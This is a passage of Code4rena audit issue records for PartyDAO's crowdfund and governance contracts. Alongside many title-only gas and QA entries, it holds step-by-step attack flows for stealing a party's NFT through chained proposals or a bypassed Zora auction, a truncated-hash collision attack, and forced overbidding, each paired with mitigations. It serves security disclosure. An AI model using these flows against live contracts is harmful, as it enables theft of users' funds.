"https://github.com/code-423n4/2022-09-party-findings/issues/312", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-party-findings", "body": "Use `_safeMint()` instead of `_mint()`"}, {"title": "Any user can create distribution to gain funds from TokenDistributor contract", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/308", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Any user can create distribution to gain funds from TokenDistributor contract"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/307", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/305", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/304", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/302", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/301", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/298", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/297", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/296", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/295", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Tokens with balance modifications outside of transfers not supported in TokenDistributor", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/294", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Tokens with balance modifications outside of transfers not supported in TokenDistributor"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/293", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Early contributor can always become majority of crowdfund leading to rugging risks.", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/284", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/BuyCrowdfundBase.sol#L114-L135 # Vulnerability details ## Description Voting power is distributed to crowdfund contributors according to the amount contributed divided by NFT purchase price. Attacker can call the buy() function of BuyCrowdfund / CollectionBuyCrowdfund, and use only the first X amount of contribution from the crowdfund, such that attacker's contribution > X/2. He will pass his contract to the buy call, which will receive X and will need to add some additional funds, to purchase the NFT. If the purchase is successful, attacker will have majority rule in the created party. If the party does not do anything malicious, this is a losing move for attacker, because the funds they added on top of X to compensate for the NFT price will eventually be split between group members. However, with majority rule there are various different exploitation vectors attacker may use to steal the NFT from the party ( detailed in separate reports). Because it is accepted that single actor majority is dangerous, but without additional vulnerabilities attacker cannot take ownership of the party's assets, I classify this as a medium. The point is that users were not aware they could become minority under this attack flow. ## Impact Early contributor can always become majority of crowdfund leading to rugging risks. ## Proof of Concept 1. Victim A opens BuyCrowdfund and deposits 20 ETH 2. Attacker deposits 30 ETH 3. Victim B deposits 50 ETH 4. Suppose NFT costs 100 ETH 5. Attacker will call buy(), requesting 59ETH buy price. His contract will add 41 additional ETH and buy the NFT. 6. Voting power distributed will be: 20 / 59 for Victim A, 30 / 59 for Attacker, 9 / 59 for Victim B. Attacker has majority. 7. User can use some majority attack to take control of the NFT, netting 100 (NFT value) - 41 (external contribution) - 30 (own contribution) = 29 ETH ## Tools Used Manual audit. ## Recommended Mitigation Steps Add a Crowdfund property called minimumPrice, which will be visible to all. Buy() function should not accept NFT price < minimumPrice. Users now have assurances that are not susceptible to majority rule if they deposited enough ETH below the minimumPrice. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/280", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/279", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": " A majority attack can steal precious NFT from the party by crafting and chaining two proposals", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/277", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/proposals/ProposalExecutionEngine.sol#L116 https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/proposals/FractionalizeProposal.sol#L54-L62 # Vulnerability details ## Description The PartyGovernance system has many defenses in place to protect against a majority holder stealing the NFT. Majority cannot exfiltrate the ETH gained from selling precious NFT via any proposal, and it's impossible to sell NFT for any asset except ETH. If the party were to be compensated via an ERC20 token, majority could pass an ArbitraryCallsProposal to transfer these tokens to an attacker wallet. Unfortunately, FractionalizeProposal is vulnerable to this attack. Attacker/s could pass two proposals and wait for them to be ready for execution. Firstly, a FractionalizeProposal to fractionalize the NFT and mint totalVotingPower amount of ERC20 tokens of the created vault. Secondly, an ArbitraryCallsProposal to transfer the entire ERC20 token supply to an attacker address. At this point, attacker can call vault.redeem() to burn the outstanding token supply and receive the NFT back. ## Impact A 51% majority could steal the precious NFT from the party and leave it empty. ## Proof of Concept The only non-trivial component of this attack is that the created vault, whose tokens we wish to transfer out, has an undetermined address until VAULT_FACTORY.mint() is called, which creates it. The opcode which creates the vault contract is CREATE, which calculates the address with ```keccak256(VAULT_FACTORY, nonce)```. Nonce will keep changing while new, unrelated NFTs are fractionalized. The attack needs to prepare both FractionalizedProposal and ArbitraryCallsProposal ahead of time, so that they could be chained immediately, meaning there would be no time for other members to call distribute() on the party, which would store the fractionalized tokens safely in the distributor. In order to solve this chicken and the egg problem, we will use a technique taken from traditional low-level exploitation called heap feng shui. Firstly, calculate off-chain, the rate new NFTs are fractionalized, and multiple by a safety factor (like 1.2X), and multiply again by the proposal execution delay. This number, added to the current VAULT_FACTORY nonce, will be our target_nonce. Calculate ```target_vault = keccak256(VAULT_FACTORY, target_nonce)```, ```before_target_vault = keccak256(VAULT_FACTORY, target_nonce-1)``` Firstly, we will create a contract which has an attack function that: 1. Loop while before_target_vault != created_vault: \u2022 Mint new dummy attacker_NFT \u2022 created_vault = VAULT_FACTORY.mint(attacker_NFT\u2026) 2. Call execute() on the FractionalizedProposal // We will feed the execute() parameters to the contract in a separate contract setter. Note that this is guaranteed to create target_vault on the correct address. 3. Call execute() on the ArbitraryCallsProposal Then, we propose the two proposals: 1. Propose a FractionalizedProposal, with any list price and the precious NFT as parameter 2. Propose an ArbitraryCallsProposal, with target = target_vault, data = transfer(ATTACKER, totalVotingPower) Then, we set the execute() parameters passed in step 2 and 3 of the attack contract using the proposalID allocated for them. Then, we wait for execution delay to finish. Finally, run the attack() function prepared earlier. This will increment the VAULT_FACTORY nonce until it is the one we count on during the ArbitraryCallsProposal. Pass enough gas to be able to burn enough nonces. At this point, attacker has all the vault tokens, so he may call vault.redeem() and receive the precious NFT. ## Tools Used Manual audit. ## Recommended Mitigation Steps 1. Enforce a minimum cooldown between proposals. This will mitigate additional weaknesses of the proposal structure. Here, this will give users the opportunity to call distribute() to put the vault tokens safe in distributor. 2. A specific fix here would be to call distribute() at the end of FractionalizeProposal so that there is no window to steal the funds. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/273", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/272", "labels": ["bug", "G (Gas Optimization)", "high quality report", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/270", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/269", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/267", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/266", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "A majority attack can easily bypass Zora auction stage in OpenseaProposal and steal the NFT from the party.", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/264", "labels": ["bug", "3 (High Risk)", "high quality report", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/proposals/ListOnZoraProposal.sol#L176-L183 # Vulnerability details ## Description The PartyGovernance system has many defenses in place to protect against a majority holder stealing the NFT. One of the main protections is that before listing the NFT on Opensea for a proposal-supplied price, it must first try to be auctioned off on Zora. To move from Zora stage to Opensea stage, _settleZoraAuction() is called when executing ListedOnZora step in ListOnOpenseaProposal.sol. If the function returns false, the next step is executed which lists the item on Opensea. It is assumed that if majority attack proposal reaches this stage, it can steal the NFT for free, because it can list the item for negligible price and immediately purchase it from a contract that executes the Opensea proposal. Indeed, attacker can always make settleZoraAuction() return false. Looking at the code: ``` try ZORA.endAuction(auctionId) { // Check whether auction cancelled due to a failed transfer during // settlement by seeing if we now possess the NFT. if (token.safeOwnerOf(tokenId) == address(this)) { emit ZoraAuctionFailed(auctionId); return false; } } catch (bytes memory errData) { ``` As the comment already hints, an auction can be cancelled if the NFT transfer to the bidder fails. This is the relevant AuctionHouse code (endAuction): ``` { // transfer the token to the winner and pay out the participants below try IERC721(auctions[auctionId].tokenContract).safeTransferFrom(address(this), auctions[auctionId].bidder, auctions[auctionId].tokenId) {} catch { _handleOutgoingBid(auctions[auctionId].bidder, auctions[auctionId].amount, auctions[auctionId].auctionCurrency); _cancelAuction(auctionId); return; } ``` As most NFTs inherit from OpenZeppelin's ERC721.sol code, safeTransferFrom will run: ``` function _safeTransfer( address from, address to, uint256 tokenId, bytes memory data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\"); } ``` So, attacker can bid a very high amount on the NFT to ensure it is the winning bid. When AuctionHouse tries to send the NFT to attacker, the safeTransferFrom will fail because attack will not implement an ERC721Receiver. This will force the AuctionHouse to return the bid amount to the bidder and cancel the auction. Importantly, it will lead to a graceful return from endAuction(), which will make settleZoraAuction() return false and progress to the OpenSea stage. ## Impact A majority attack can easily bypass Zora auction stage and steal the NFT from the party. ## Proof of Concept 1. Pass a ListOnOpenseaProposal with a tiny list price and execute it 2. Create an attacker contract which bids on the NFT an overpriced amount, but does not implement ERC721Receiver. Call its bid() function 3. Wait for the auction to end ( timeout after the bid() call) 4. Create a contract with a function which calls execute() on the proposal and immediately buys the item on Seaport. Call the attack function. ## Tools Used Manual audit. ## Recommended Mitigation Steps _settleZoraAuction is called from both ListOnZoraProposal and ListOnOpenseaProposal. If the auction was cancelled due to a failed transfer, as is described in the comment, we would like to handle it differently for each proposal type. For ListOnZoraProposal, it should indeed return false, in order to finish executing the proposal and not to hang the engine. For ListOnOpenseaProposal, the desired behavior is to *revert* in the case of a failed transfer. This is because the next stage is risky and defense against the mentioned attack is required. Therefore, pass a revertOnFail flag to _settleZoraAuction, which will be used like so: ``` // Check whether auction cancelled due to a failed transfer during // settlement by seeing if we now possess the NFT. if (token.safeOwnerOf(tokenId) == address(this)) { if (revertOnFail) { revert(\"Zora auction failed because of transfer to bidder\") } emit ZoraAuctionFailed(auctionId); return false; } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/262", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/261", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/260", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "old-submission-method"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/259", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/258", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "old-submission-method"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/256", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "If auction market finalization always reverts, the fund will be locked in the Crowdfund contract forever.", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/254", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "If auction market finalization always reverts, the fund will be locked in the Crowdfund contract forever."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/253", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/250", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "There is no Support For The Trading of Cryptopunks", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/248", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "old-submission-method"], "target": "2022-09-party-findings", "body": "There is no Support For The Trading of Cryptopunks"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/236", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged", "old-submission-method"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/235", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/234", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "# Only part of `keccak256()` is used as hash, making it susceptible to collision attacks", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/231", "labels": ["bug", "2 (Med Risk)", "high quality report", "resolved", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/Crowdfund.sol#L275 https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/Crowdfund.sol#L325 https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/distribution/TokenDistributor.sol#L26 # Vulnerability details At 2 places in the code only part of the output of `keccak256()` is used as the hash: * At `TokenDistributor` - `DistributionState.distributionHash15` - uses only a 15 bytes as a hash * This one is intended to save storage * At `Crowdfund.governanceOptsHash` a 16 bytes is used as hash * This one has no benefit at all as it doesn't save on storage 15/16 bytes hash is already not very high to begin with (as explained below). On top of that, using a non standard hash can be unsafe. Since diverging from the standard can break things. ## Impact For the `FixedGovernanceOpts` an attacker can create a legitimate party, and then when running `buy()` use the malicious hash to: * include himself in the hosts (DoS-ing the party by vetoing every vote) * reduce the `passThresholdBps` (allowing him to pass any vote, including sending funds from the Party) * Setting himself as `feeRecipient` and increasing the fee For the `DistributionInfo` struct - an attacker can easily drain all funds from the token distribution contract, by using the legitimate hash to create a distribution with a malicious ERC20 token (and a malicious party contract), and then using the malicious hash to claim assets of a legitimate token. ## Proof of Concept ### The attack Using the birthday attack, for a 50% chance with a 15 bytes hash, the number of hashes needed to generate is 1.4e18 (`(ln(1/0.5) *2) ** 0.5 * (2 ** 60)`). * For 16 bytes that would be 2.2e19 An attacker can create 2 different structs, a legitimate and a malicious one, while modifying at each iteration only the last bits * For the `FixedGovernanceOpts` the last bits would be the `feeRecipient` field * For the `DistributionInfo` struct that would be the `fee` field (and then exploit it via the `claim()` function which doesn't validate the `fee` field) The attacker will than generate half of the hashes from the malicious one, and half from the legitimate ones, so in case of a collision there's a 50% chance it'd be between the legitimate and malicious struct. ### CPU * In the `DistributionInfo` we have 224 bytes (and for `FixedGovernanceOpts` 192 bytes if we precalculate the hosts hash) * A computer needs about 11 cycles per byte * An avg home PC can do ~3e9 cycles per seconds * There are ~8.6e4 seconds a day * Putting it all together `1.4e18 * 11 * 224 / (3e9*8.6e4)` = ~1.3e8 * Note that we can further optimize it (by 10 times at least), since we're using the same input and only modifying the last bits every time (the `fee` field) ### Storage 32 * 1.4e18 = ~4.5e19 bytes is needed, while an affordable drive can be 8TB=~8e12 bytes. That puts it about 5e6 times away from and affordable attack. ### Overall Risk The calculations above are for basic equipment, an attacker can be spending more on equipment to get closer (I'd say you can easily multiply that by 100 for a medium size attacker + running the computations for more than one day) Combining that with the fact that a non-standard hash is used, and that in general hashes can have small vulnerabilities that lower a bit their strength - I'd argue it's not very safe to be ~1e4 (for a medium size attacker; ~1.5e5 for 16 bytes) away from a practical attack. ## Recommended Mitigation Steps Use the standard, 32-bytes, output of `keccak256()`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/230", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/229", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "old-submission-method"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/228", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/227", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/223", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/222", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Attacker can force AuctionCrowdfunds to bid their entire contribution up to maxBid", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/220", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/AuctionCrowdfund.sol#L166-L167 # Vulnerability details ## Description AuctionCrowdfund's bid() allows any user to compete on an auction on the party's behalf. The code in bid() forbids placing a bid if party is already winning the auction: ``` if (market.getCurrentHighestBidder(auctionId_) == address(this)) { revert AlreadyHighestBidderError(); } ``` However, it does not account for attackers placing bids from their own wallet, and then immediately overbidding them using the party's funds. This can be used in two ways: 1. Attacker which lists an NFT, can force the party to spend all its funds up to maxBid on the auction, even if the party could have purchased the NFT for much less. 2. Attackers can grief random auctions, making them pay the absolute maximum for the item. Attackers can use this to drive the prices of NFT items up, profiting from this using secondary markets. ## Impact Parties can be stopped from buying items at a good value without any risk to the attacker. ## Proof of Concept 1. Attacker places an NFT for sale, valued at X 2. Attacker creates an AuctionCrowdfund, with maxBid = Y such that Y = 2X 3. Current bid for the NFT is X - AUCTION_STEP 3. Users contribute to the fund, which now has 1.5X 4. Users call bid() to bid X for the NFT 5. Attacker bids for the item externally for 1.5X - AUCTION_STEP 6. Attacker calls bid() to bid 1.5X for the NFT 7. Attacker sells his NFT for 1.5X although no one apart from the party was interested in buying it above price X ## Tools Used Manual audit. ## Recommended Mitigation Steps Introduce a new option variable to AuctionCrowdfunds called speedBump. Inside the bid() function, calculate seconds since last bid, multiplied by the price change factor. This product must be smaller than the chosen speedBump. Using this scheme, the protocol would have resistance to sudden bid spikes. Optionally, allow a majority funder to override the speed bump. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/219", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/214", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Attacker can list an NFT they own and inflate to zero all users' contributions, keeping the NFT and all the money", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/213", "labels": ["bug", "2 (Med Risk)", "old-submission-method"], "target": "2022-09-party-findings", "body": "Attacker can list an NFT they own and inflate to zero all users' contributions, keeping the NFT and all the money"}, {"title": "Calling `transferEth` function can revert if `receiver` input corresponds to a contract that is unable to receive ETH through its `receive` or `fallback` function", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/212", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/utils/LibAddress.sol#L8-L15 https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/crowdfund/Crowdfund.sol#L444-L489 https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/distribution/TokenDistributor.sol#L371-L388 # Vulnerability details ## Impact The following `transferEth` function is called when calling the `_burn` or `_transfer` function below. If the `receiver` input for the `transferEth` function corresponds to a contract, it is possible that the receiver contract does not, intentionally or unintentionally, implement the `receive` or `fallback` function in a way that supports receiving ETH or that calling the receiver contract's `receive` or `fallback` function executes complicated logics that cost much gas, which could cause calling `transferEth` to revert. For example, when calling `transferEth` reverts, calling `_burn` also reverts; this means that the receiver contract would not be able to get the voting power and receive the extra contribution it made after the crowdfunding finishes; yet, the receiver contract deserves these voting power and contribution refund. Hence, the receiver contract loses valuables that it deserves, which is unfair to the users who controls it. https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/utils/LibAddress.sol#L8-L15 ```solidity function transferEth(address payable receiver, uint256 amount) internal { (bool s, bytes memory r) = receiver.call{value: amount}(\"\"); if (!s) { revert EthTransferFailed(receiver, r); } } ``` https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/crowdfund/Crowdfund.sol#L444-L489 ```solidity function _burn(address payable contributor, CrowdfundLifecycle lc, Party party_) private { // If the CF has won, a party must have been created prior. if (lc == CrowdfundLifecycle.Won) { if (party_ == Party(payable(0))) { revert NoPartyError(); } } else if (lc != CrowdfundLifecycle.Lost) { // Otherwise it must have lost. revert WrongLifecycleError(lc); } // Split recipient can burn even if they don't have a token. if (contributor == splitRecipient) { if (_splitRecipientHasBurned) { revert SplitRecipientAlreadyBurnedError(); } _splitRecipientHasBurned = true; } // Revert if already burned or does not exist. if (splitRecipient != contributor || _doesTokenExistFor(contributor)) { CrowdfundNFT._burn(contributor); } // Compute the contributions used and owed to the contributor, along // with the voting power they'll have in the governance stage. (uint256 ethUsed, uint256 ethOwed, uint256 votingPower) = _getFinalContribution(contributor); if (votingPower > 0) { // Get the address to delegate voting power to. If null, delegate to self. address delegate = delegationsByContributor[contributor]; if (delegate == address(0)) { // Delegate can be unset for the split recipient if they never // contribute. Self-delegate if this occurs. delegate = contributor; } // Mint governance NFT for the contributor. party_.mint( contributor, votingPower, delegate ); } // Refund any ETH owed back to the contributor. contributor.transferEth(ethOwed); emit Burned(contributor, ethUsed, ethOwed, votingPower); } ``` https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/distribution/TokenDistributor.sol#L371-L388 ```solidity function _transfer( TokenType tokenType, address token, address payable recipient, uint256 amount ) private { bytes32 balanceId = _getBalanceId(tokenType, token); // Reduce stored token balance. _storedBalances[balanceId] -= amount; if (tokenType == TokenType.Native) { recipient.transferEth(amount); } else { assert(tokenType == TokenType.Erc20); IERC20(token).compatTransfer(recipient, amount); } } ``` ## Proof of Concept Please add the following `error` and append the test in `sol-tests\\crowdfund\\BuyCrowdfund.t.sol`. This test will pass to demonstrate the described scenario. ```solidity error EthTransferFailed(address receiver, bytes errData); function testContributorContractFailsToReceiveETH() public { uint256 tokenId = erc721Vault.mint(); BuyCrowdfund pb = _createCrowdfund(tokenId, 0); // This contract is used to simulate a contract that does not implement the receive or fallback function for the purpose of receiving ETH. address payable contributorContract = payable(address(this)); vm.deal(contributorContract, 1e18); address delegate = _randomAddress(); // contributorContract contributes 1e18. vm.prank(contributorContract); pb.contribute{ value: 1e18 }(delegate, \"\"); // The price of the NFT of interest is 0.5e18. Party party_ = pb.buy( payable(address(erc721Vault)), 0.5e18, abi.encodeCall(erc721Vault.claim, (tokenId)), defaultGovernanceOpts ); // After calling the buy function, the party is created with the NFT. assertEq(address(party), address(party_)); assertTrue(pb.getCrowdfundLifecycle() == Crowdfund.CrowdfundLifecycle.Won); assertEq(pb.settledPrice(), 0.5e18); assertEq(pb.totalContributions(), 1e18); assertEq(address(pb).balance, 1e18 - 0.5e18); // Calling the burn function reverts because contributorContract cannot receive ETH through the receive or fallback function vm.expectRevert(abi.encodeWithSelector( EthTransferFailed.selector, contributorContract, \"\" )); pb.burn(contributorContract); // contributorContract does not receive 0.5e18 back from the BuyCrowdfund contract. assertEq(contributorContract.balance, 0); } ``` ## Tools Used VSCode ## Recommended Mitigation Steps When calling the `transferEth` function, if the receiver contract is unable to receive ETH through its `receive` or `fallback` function, WETH can be used to deposit the corresponding ETH amount, and the deposited amount can be transferred to the receiver contract."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/210", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/209", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/203", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "The settledPrice maybe exceed maximumPrice", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/201", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "edited-by-warden"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/BuyCrowdfundBase.sol#L122 # Vulnerability details ## Impact BuyCrowdfundBase.sol _buy() When callValue = 0 is settledPrice to totalContributions ignoring whether totalContributions > maximumPrice resulting in the minimum proportion of participants expected to become smaller ## Proof of Concept ``` function _buy( IERC721 token, uint256 tokenId, address payable callTarget, uint96 callValue, bytes calldata callData, FixedGovernanceOpts memory governanceOpts ) ... settledPrice_ = callValue == 0 ? totalContributions : callValue; //**** not check totalContributions>maximumPrice****// if (settledPrice_ == 0) { // Still zero, which means no contributions. revert NoContributionsError(); } settledPrice = settledPrice_; ``` 